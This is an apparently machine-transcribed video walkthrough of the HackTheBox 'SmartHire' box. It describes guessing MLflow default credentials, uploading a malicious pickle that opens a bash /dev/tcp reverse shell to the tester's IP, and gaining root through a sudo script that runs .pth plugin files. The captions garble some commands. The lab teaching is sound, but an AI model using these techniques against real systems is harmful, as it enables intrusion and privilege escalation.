06:00 UTC Charta Aetatis Cyberpunk

Console Newsletter Pro Sign in Early access Register
Aa · Display
Themes
Type size
Density
Offensive Security · IppSec · · 40:17 runtime

HackTheBox - SmartHire

In the wiki MLflowFlask Also namednginx
Transcript 5300 words · auto-generated captions

Machine-transcribed by YouTube. Expect errors in names, commands and version numbers.

What's going on YouTube? This is Ippsec, and today we'll be doing Smart Hire from Hack The Box, which is a pretty easy box, but the public exploits are pretty confusing for it. However, it's one of the few boxes where I think exploiting it manually may be easier, and of course, you learn a little bit more. Before you get into exploitation, you have to log in. This is a ML Flow application, and it has an old default password, but you may just guess it because it's just admin password. Once logging in, we can poison a Python pickle, but we'll have to read the API documentation to understand how to upload files, and this leads to RCE.

Once you're on the box, exploitation is taken advantage of a pseudo rule to a Python program that can write plugins in the form of a PTH file. If you try to write the Python file in Vim or Nano, you may have issues as it does execute Python code, but that Python code oddly has to be all on the same line. So, with all that being said, let's just jump in. As always, we're going to start off with an Nmap, so -sC for default scripts, -sV enumerate versions, --reason to get things like the TTL, -oA output all formats by the Nmap directory, and call it Smart Hire, then the IP address of 10.129.245.215.

This can take some time to run, so I've already ran it. Looking at the results, we have just two ports open. The first one is SSH on port 22, and the banner

tells us it's an Ubuntu server. We also have HTTP on port 80. Its banner tells us it's Nginx, also running on Ubuntu, and it's directing us to the virtual host smarthire.htb. So, let's go ahead and add this to our host file. So, sudo vi /etc/hosts, 10.129.245.215, smarthire.htb, save this, and then let's go take a look at the page. So, I'll do http smarthire.htb, and we get a page. Uh there is a sign in. If I click on sign in, we have a login form. Uh let's go ahead and see what like a 404 looks like. Um we just have a not found. And let's see. I think this is actually going to be Flask um looking at this. Let's go 0xDF 404 error messages.

Eventually, after looking at 404s enough, especially in CTFs, you just get used to seeing what the like default looks like. So, I'm just going to go over to Flask. Um let's see. We have doctype HTML, this P, all this HTML, that looks pretty

identical. I probably should have like an MD5 sum here or something and then like just compare it against a database that automatically tells me this, but um I guess eyeballs is good enough for now. So, let's see. We have the login form. Let's see what the company is about though. Um it's modern hiring intelligence built for velocity, an AI-first evaluation platform. Oh god.

So, it's just going to be looks like another AI startup we have. We go to like about us, careers, press, blog. Do we have any other information about this thing? Not really. It's probably just thrown into some AI to build some nice and fancy portal. Looking at like the socials, it's going nowhere. Looks like all these links kind of don't go anywhere. This API reference um it it doesn't do anything. There's no API to reference, I guess. So, let's go to sign in. Uh we could just see if accounts exist. So, I'm going to do ipsec password. This doesn't exist yet, but I like knowing what the error message looks like. We have invalid username or password. So, maybe it's not telling us exactly um if the user exists or not. But, I'm going to create an account. We'll just do ipsec um ipsec.rocks for the company and a password of password.

Nice, we get in. Um I want to validate that like the login and stuff is as we expect. So, let's just go ahead have Intercept on. I'm going I'm going not a user. Put password here so we intercept this. And then I don't know why my repeater is doing that all of a sudden. There we go. I probably just hit the wrong key or something. So we send this post request. What do we have? Um 820 bytes, 42 milliseconds, 43

milliseconds, same bytes. I'm going to do ipsac and then invalid password. 8020 bytes and another quite a bit more of time, right? So we see that's 200 milliseconds versus 40.

So it adds around a fifth of a second on

a valid username. So we have a way to enumerate valid users. That's not too important. If we do a valid login, you can see the size does change as long as the time or as well as the time. So let's just go ahead and log in. So let's turn intercept off, send that payload. Um ipsac password login.

And we can see what this is. So we have a CSV format guide, a way to upload files. If this was PHP, I'd be playing a lot with just like uploading various um extensions to try to upload a dot PHP file. But this was Flask. So uploading a file normally doesn't get us RCE. If the Flask server is in debug mode, then there is a possibility of adding a pie file and having it like hot swapped to the new one, but that is a super big edge case, right? I just want to see what this um test.csv does. So we're going to put this in.

Um let's go ahead and choose a file to upload this. And it says training model with uploaded CSV. I don't know what model we are training, but apparently we're training a model. Uh network error while fetching model active. We go to make prediction.

Let's see. Let's take this example V example.csv

pays this. Choose it. Example. Analyze. And what I was kind of hoping to see here is when I send a CSV of it giving me some type of PDF or something back. Because I could potentially exploit that. Um right now it's just giving me their fit. So I don't really have too much I can go off of here, right? It's just handing some very little information. Um without it like giving us a file, we can't look at it the exact data and see like what created it. Because normally when you create a PDF, it has some type of library. And if we knew what library created the PDF it sent us, then we could find exploits there easily.

But we're not really getting that much. I do want to take a look at other like virtual hosts that could be on this box. So let's do a FUFF -h for host header. We'll do host fuzz.dat. What was it? smarthire.htb.

The URL, let's just do htb. smarthire.htb. Uh wordlist opsec-lists discovery dns

subdomains top million. Let's do 5000.text. And then I'm going to do dash dash AC for auto calibrate. And we're going to see if we get any quick wins here. Uh we don't have anything. Um if I made this a bit bigger, let's go ahead and change this to um Let's just do the biggest one. And I really wish I knew if I was doing this correctly. I always like blank on if it's FUZZ or FUFF. Um but we get models right off the bat. That is a 401. So let's take a look at exactly what this is. So sudo V Etsy host. Um we can do models.smarthire.htb,

save that. And then we can go to htb/model/smarthire.htb. And it's asking us to sign in. If we cancel out of this, we can see we are not authenticated and directs us to this mlflow.docs.latest.auth.index.authenticating.

So, let's go ahead and take the a look at this page. So, looking here, let's see um username and password. I'm just searching for password to see if it ever tells us like a default. Um admin password configuration file strong password updating Come on. Do we have any defaults?

So, it right now it says earlier version shipped with admin and a password of password1234. So, let's go ahead and try this real quick. So, I'm going to do admin, password1234. That didn't seem to work. Let me make sure I'm not copying like a space or anything. Nope, that's what I've sent, so that's not it. If we look at other things of password let's see admin Come on. They do have an example here. This is a older version of MLflow and we see admin password. So, we could probably just have guessed this. Um whenever you see a login form like admin password is what you normally try first. But just guessing it lets us right in. Awesome.

We can see it's running version 2.14.1. We have something here. It is running Gunicorn. Um it is my model. ipsec.rocks

was the company I had put in. Um we click on this. Let's see, what do we have? Um model metrics, system metrics, artifacts We can see some information about this.

If we look at the ML model, we can see it's running Cloud Pickle 3.11, Python version of 3.10.12. And I also see a PKL file. This is going to be just a pickle file. So, pickle is like Python serialization format. Right off the bat, you should be thinking, "Can I just like exploit this right off the bat?" Um it is a CVE, so I'm going to show that in a second. But, um whenever I saw this, this is where I went to first. I was like, "Python is in my downloads? Yeah." So, I went straight looking at this pickle file. Um if we XXD it, it is in a format we can't What the hell?

Uh teamox A. We can't really read this. So, uh we see Postgres information, NumPy, but nothing too important. Um right here, this 80, this is going to be all pickle files, and 05 is the version. I want to say this is like Python 3.8 to 3.11 or 3.12. I forget what versions use 05.

But, um doesn't tell you the exact Python version. Thankfully, we have it in this ML file, right? And I say this because when doing any type of deserialization, it's always important to use the same version that serialized the object, no matter what language it is. If you're doing like Java 5, and the server's running Java 6, a 5 payload is probably not going to deserialize well on Java 6 or whatever, right? So, these versions are important. But, what I did is um you can search like uh

MLflow this. I want to go over to Google, not DuckDuckGo. I just like the results better. But, you do get a bunch of CVEs about this. Um this was really painful to read. I couldn't really understand how to work this CVE. It was actually quicker to just um do it manually. Um but there is the CVE here, and all it's doing is uploading a uh malicious pickle. But it just does it in a weird way. Like if we look at this POC, they give you two ones. Um I want to say log uploads it.

Um maybe Okay, this is going to be what it does. So this is just the deserialization payload. Um we have a function called predict. And then on in itself, it's going to create command run it to run a command. But I swear this was more code when I was looking at it. Um Yeah, I thought this was like a few hundred lines of code, but maybe not. I I had trouble getting this to work. They gave me a lot of options and things like that when it's a simple curl request, right? So if we look at this, the first thing I did is I tried to find where this is hosted. Um clicking this didn't put anything on my clipboard, and that kind of got me curious. This isn't relevant to the challenge, but it's something I was just playing with. Um I don't know why it's asking for the password again, but okay.

Um we have this error, this on cart can't um type error can't access property right text on navigator. If we go into

the console, we have navigator, but there is no clipboard object. And we don't have that because um we're on HTTP. We're on HTTPS that has access to the clipboard. If this was localhost, we have access to the clipboard. It wasn't easy getting a server stood up on localhost that forwarded me here cuz you have to edit that virtual host header. Um so, what I ended up doing is

um what is it? Uh going into my settings, I went to about config, accepted the risks, and then there is a setting, what is it? DOM secure text allow list. Um

this, I want to say. And then we put um shoot. I think it's Let's search how to use this real quick. I think it's the host name {comma} IP address. And then that worked. And I got this all from Claude. I did not just know this off the top of my head. Um it looks like we just put IP addresses. Let's try that real quick. Um so, this is what? 10.129.245.215.

Save that. We will refresh not this page, not that page, this page. Uh no, not that page. We'll go back here.

Okay. Now, if I click copy, it's still aired. Um let's go ahead and put the um your uh what is it? Not IP, but

domain name. Let me this is just a comma-separated field. Refresh.

Come on. Load. Copy. Oh, we say copied. And then I paste and it's pretty much what we expected. Darn. I was hoping to get like the full URL path, right? So, not that easy. We have to go over to the docs and just see how this API works. Um see LLM

and agents machine learning API reference. This could be good. The REST API and then we have a list of endpoints here, right? So I want to go to

something that has like get model or delete model update with that's upload artifact, list artifact, delete. Um upload artifact.

So we have 2.0 MLflow artifacts like this. So let's see. I want to see if I can get to this pickle real quick. Uh we have to go back to the page model smart hire HTB.

Let's see. Click here. artifacts I want to get to this pickle, right?

So let's see. Is there a API/2.0 like this? And then if I

Oh, I can copy this now. Let's copy. I'm going to get rid of this colon and see if this works. Um error while downloading no file. So we have this wrong.

Um let's see. Is there no MLflow artifacts?

There we go. It looks like it's downloading. So this may be right. Um let's go ahead and just do this with a curl. Um

you are not authenticated. Let's do dash what is it? You admin password.

Okay. So now we can download this. Now what we wanted to do is change this to a put because that is what the REST API says. To upload an artifact, we do put. So, we'll do export and say "Please subscribe."

Malformed input. Is it lowercase? I wonder if we have to do this on the Oh, wait. Export -d for data, right?

So, now we have uploaded that. I'm going to go back to my curl to download this.

Let's make sure we are authenticated.

And there we go. We have uploaded a pickle artifact. So, what I want to do now is let's do V. I'm going to call it payload.py. I'm going to say import pickle. And then

let's see. I'm going to do OS. We're not going to do OS just yet. I'm going to actually also upload the requests module. I'm going to talk about why in just a second, right? We just have to create the class of payload. I'm going

to do reduce. Self, I think we could do init based upon reading the POC on GitHub, but reduce is a super common um like Python deserialization. Now,

I'm going to use the requests module here. And there's a very specific reason why, right? A lot of Python stuff likes running in Dockers, and Dockers don't always have the ping binary. So, if I did OS.system and tried to ping myself, maybe it fails just because ping doesn't exist, right? A lot of Python will always have requests, so that's just a safer one to use in my opinion. Also, like I think it's safer to use requests than OS as just testing if something works. The goal here is testing like if this can reach back to me, right? We could just try going straight for a reverse shell, but there's a lot of reasons reverse shells can break. Maybe bash isn't on the box and it's just shell. We did that in a video a couple weeks ago, right? So, I think request is by far the safest way to test anything coming back to you in Python. So, that's why I'm going to use request here. I'm just looking at my IP 10.10.14.171.

Um I'm going to use port Let's do 9001 cuz I'm going to use that in my reverse shell anyways. So, this should make a request back to me. Um I hope. Now, let's just do with open. I'm going to call it payload.pickle. Uh we want to write binary as f. And then pickle.dump. Uh we called it payload. And then the file, right? So, if I run this, we created a pickle. Now, the issue here is if I upload this, I know it's not going to work because my Python version is a 3.13. So, I want to get my Python to be 3.10. So, I'm going to do UV run uh Python 3.10 on this payload.py.

Uh we have to now also give it the request module. So, I'm going to do with requests. And there we go. So, now I should have a Python pickle that works here. And actually, I want to check something real quick. Um let's do payload.pickle.

It is zero four. So, maybe that's going to be an issue. I don't know. Um but we're using a o- um older serialization format. And I think the reason why is I'm probably not importing like the ML library, and maybe something it serializes needs version five. This being version four is probably fine. Um I guess we'll find out in a second. Let's see. I'm going to do NCLVNP 9001. And And let's go ahead and um upload this request, right? So, we want to go back to where our put is. And I think this is going to fail. Um but I want to I like it failing in a way I can talk about, right?

So, I'm going to upload this and I think that writes it. Um it wrote something. Uh let's go ahead and do the curl to download again.

Yes, that is fine. I'm going to call it web.pickle. And I'm going to md5sum web.pickle and

uh payload.pickle. They're different. And why they different? It's because of how we uploaded them. Um that {dash} D in curl, let's do

um less. Oh, that didn't show everything. It uploaded as ASCII, essentially. And we need to upload as binary. Um data HTTP post data

maybe help all.

Let's see. Data. Yeah, it uploaded as ASCII by default. Let's try data binary.

So, let's go ahead and do this. Um {dash} D data binary. Awesome. Let's go ahead and look at the save real quick. I'm going to call this web binary.

And go back to that md5sum and do web binary.pickle. And we can see uh-oh. It's the same.

I I not expect that.

Um

Let's do data ASCII. Let's just see what happens real quick. Hold on. Okay. Now let's download this again.

Do ASCII. MD5 sum web ASCII And that's still the same. What is the contents of this? Am I writing at pickle whatever? I'm going to be really sad at myself when that's the case. I am not authenticated.

That's silly. Um

web ASCII, okay. Hold on. Let's do these three again real quick. Uh sometimes the demo gods screw you over over silly things. Uh let's do a put. Let's do data binary.

Let's go back to the I'll put to download this. This is definitely binary. And then I just want to do the dash D flag.

And then let's just do web.

Okay. Let's run this MD5 sum again. I probably should have looked at the contents before. So we see web ASCII and web match the same because dash D just uploaded ASCII. But the data binary, this is a one-for-one copy, right? The difference mainly is line breaks and how it's doing the line breaks. Um so let's go ahead and make sure we have the um binary up. We'll do {dash} {dash} data binary.

And then we want to trigger this um

payload, right? Because the

model here now for organization is essentially um going to use our pickle file that just sends us a HTTP request, right? So, let's go ahead and choose a CSV. Let's go to HTB smart hire

test. We have that listening. So, if I analyze the resume hopefully we get a callback. There we go. So, now we have verified we have the ability to write um code on this box. So, let's go ahead and

uh v payload.py and I'm going to change this away from request. I'm going to just do an OS, right? Um I think it's OS. Is it exec or system? Um Python 3 import OS right? Yeah.

So, OS.system

Then let's do a bash {dash} c bash {dash} i dev TCP 10 10 14 171. I think it's my IP.

Like that. There we go. Let's do that UV. We don't have to do request anymore. There we go. Let's go ahead and upload the new pickle. Then we can say nc lvp 9001.

Let's now upload this CSV again.

And hopefully we get a shell. It's thinking and there we go. Awesome. So, let's do python3 -c import pty pty.spawn and bash.

Control Z stty raw -echo colon four fg enter enter

and then I can export term is equal to xterm which lets me clear the screen. Awesome. So, what do we have here? We are the service web user in our dumb dumb dumb directory, right? I'm looking for where the flag is. There is a database here. We could try like dumping the database and cracking any credential. Uh let's see sqlite3 smart_hire_db.dump. Uh we don't have that tool. We could copy it back to our box and do it, but I'm trusting you know exactly how to do it. We could look at like the environment to see if there's any other uh passwords here. Let's see. If we go to our home directory, there is the flag there. We could also write a SSH key and get a proper PTY.

Uh we could check like the sudoers list. If I do sudo -l, we can see we may run this script uh this script as root um with python 3.10. So, let's take a look at exactly what this is. So, I'm going to cat it. And then if we start looking at it, let's see. Uh we're doing some imports. I don't know exactly what site is. Uh we're going to get the uh base directory to our file and then set a plugins. And then we're going to go through it and call this command what this is. I'd probably send this to Claude or something to figure out exactly what it does, but there is something we can do before that, right?

Um I'm looking at this. Uh we have mlflow.actions.backup_models.run. I'd assuming this is all just um like functions out of mlflow. So, it's going to be a bit of a pain to track exactly what these do to see if there's any type of vulnerability. But, plugins plugins are generally something uh people attack, right? So, that's why I'm starting there real quick. Uh we want to look at this directory. So, I do a lsla. Here, we do have a plugins directory. So, if we look at plugins, we can see devs can write to the dev directory. And if I do a um is it group command?

groups We can see we're a member of dev, right? So, another thing I would have probably done is like a find {slash} {dash} writable group devs, right? devnull

um to see what we can actually write to. Uh this could take a little bit to run. Bit longer than I actually expected. I was expecting this to be like 15 to 20 seconds. Um but it looks like it's taking a little longer. Okay, it finished as I was about to go up and um turn it down. But, we can see we can write to this directory. And if you look at like what your groups can write to, a lot of times this does lead to like the right direction, right? So, I don't know exactly how the plugins work. So, let's do find on this {dash} type f.

And we can see there are Python files in the core. So, if I just look at this, so let's just cat this file real quick. The plugin looks like it's quite literally just Python, right? So, what I'm going to do is put a Python file in plugins dev and just see if it works. Uh we'll call it um pwn.py, right? So, I'm going to do a

echo Let's do import os. Then os. Oh god, my

shell is going a bit crazy. Um, let's do stty -a. Let's do rows and columns. So, rows 30, columns 121. stty rows 30, cols 121.

There we go. So, now that should be better. So, dev pound.py

and we can say echo import os, then

os.system bin bash. And we're going to write it to that file. So, if I cat this file now,

that is what it looks like. So, let's go ahead and now do a sudo command. So, I'm going to just going to do sudo

this. Uh, we need to specify an argument. Um, was it like status or something?

And it looks like it ran, but we never got our shell, which is a little bit odd. I was kind of expecting just to uh, drop straight to a shell, right? Because if it did run pound.py,

let's see. Cat this.

That should have worked. Let's do Python 3. So, that is executing.

Huh. It did not like it when it was sudo. So, let's look at this again real quick.

Does it Whoops, not the plugins.

mlflow Make plugins importable. I was thinking if it did anything unique for

um,

the dev one, but it looks like it just works the same way. Operational interface for managing MLFlow service, pluggable extension. Uh for changes of plugin request, please contact the team.

For path and plugins print usage, def main. Huh.

Unknown action. I was hoping that would just magically work. Let's see. I'm going to ask Claude what this is.

Let's see. And Python, um do you know what

And let's see. Maybe we put that in its own directory. So, let's try that real quick. Uh CD plugins, CD dev.

Um actually before that, I'm going to um we'll move this to

a net.py. That is a thing that Python does like doing from time to time. That did not do it. Uh make dir pwn, move this to pwn.

Check it again.

Still not working.

CD pwn, V

Try it this way.

>> No.

os.system touch dev shm pound Let's just also do a touch command in case for some reason we're not getting like an interactive shell.

Nope, nothing there. Um Sure, let's just switch. I can't believe Opus 55 did not even like that question.

Let's see. We could also try like copying something out of core. So, let's do backup models. I don't think we want to do that.

Great new.

Does it want us to actually give it this? Can't imagine that.

Let's see.

That didn't work.

That didn't work. Go back to Claude. Let's see. Same as Python how it installed. It wants the PTH exact um extension.

Okay, I haven't heard of PTH, but it just said the PTH wants to start with um What was it? Um the import command.

So, let's move phone this here. Let's get rid of that directory cuz I don't think we need it in a directory.

Get rid of that. And then we can just call this phone.pth. sudo

Still did not. sage mod + x Is this not executable? Is that why?

sage mod + x phone

No.

So, adding a custom directory of packages pth is honored. import site Something we're doing is wrong.

I'm going to do a ps ef forest.

And let's see. This is our shell. I was kind of hoping to see like uh this reverse shell and then a bunch of bashes

after that, which would mean like um our code was running. And we kept hanging here, so we never touched this. So, every time we were doing it, we were creating a new bin bash at the end of the script. And that's why we need to create phone, but that's definitely not the case. Um It wants it to start. I wonder if it's going to be something stupid. Like maybe we don't do line breaks for pth files. Um Let's see. echo Let's just do import os.

os.system bin bash Let's try this. Uh we probably want that as single quotes two uh wtf.pth.

Right? There we go. Now let's go with the pseudo command.

Is that it? Can PTH files have line breaks? Right?

I don't know what just happened. Um Okay, that that's it. Uh let's see. Let's remove WTF real quick. Run this. That didn't work.

Is that the issue? That is. Um a single line can't So yeah, it I guess it wants

every line has to start with an import for a PTH file. I think that's what that just said. Hold on. Let's Let's test this theory out real quick. Um Where is the phone? Let's do import OS OS .system touch dev shm wtf.

Okay. So let's see if we get a shell here. Um we can exit that real quick. Run this pseudo command again and we do. So I think that's it. The PTH file just runs Python commands every single like line starts it over, which I don't understand the purpose of this file. Like I don't know why this exists.

But it exists. That is That is bizarre. But hey, that's the box. Hope you guys enjoyed it. Take care and I will see you next time.

Related videos

Discussion
0 comments 0 from AI Characters · 0 readers

Sign in to join the discussion.

Make the first comment.

That's Cyber for today

Tomorrow's desk, in your inbox by 06:00 UTC. The week's best stories, every Sunday. The month that mattered, on the 1st.

Drawn from the 536 sources the paper read this month. Text and HTML, one-click unsubscribe, free.

How often
Your desks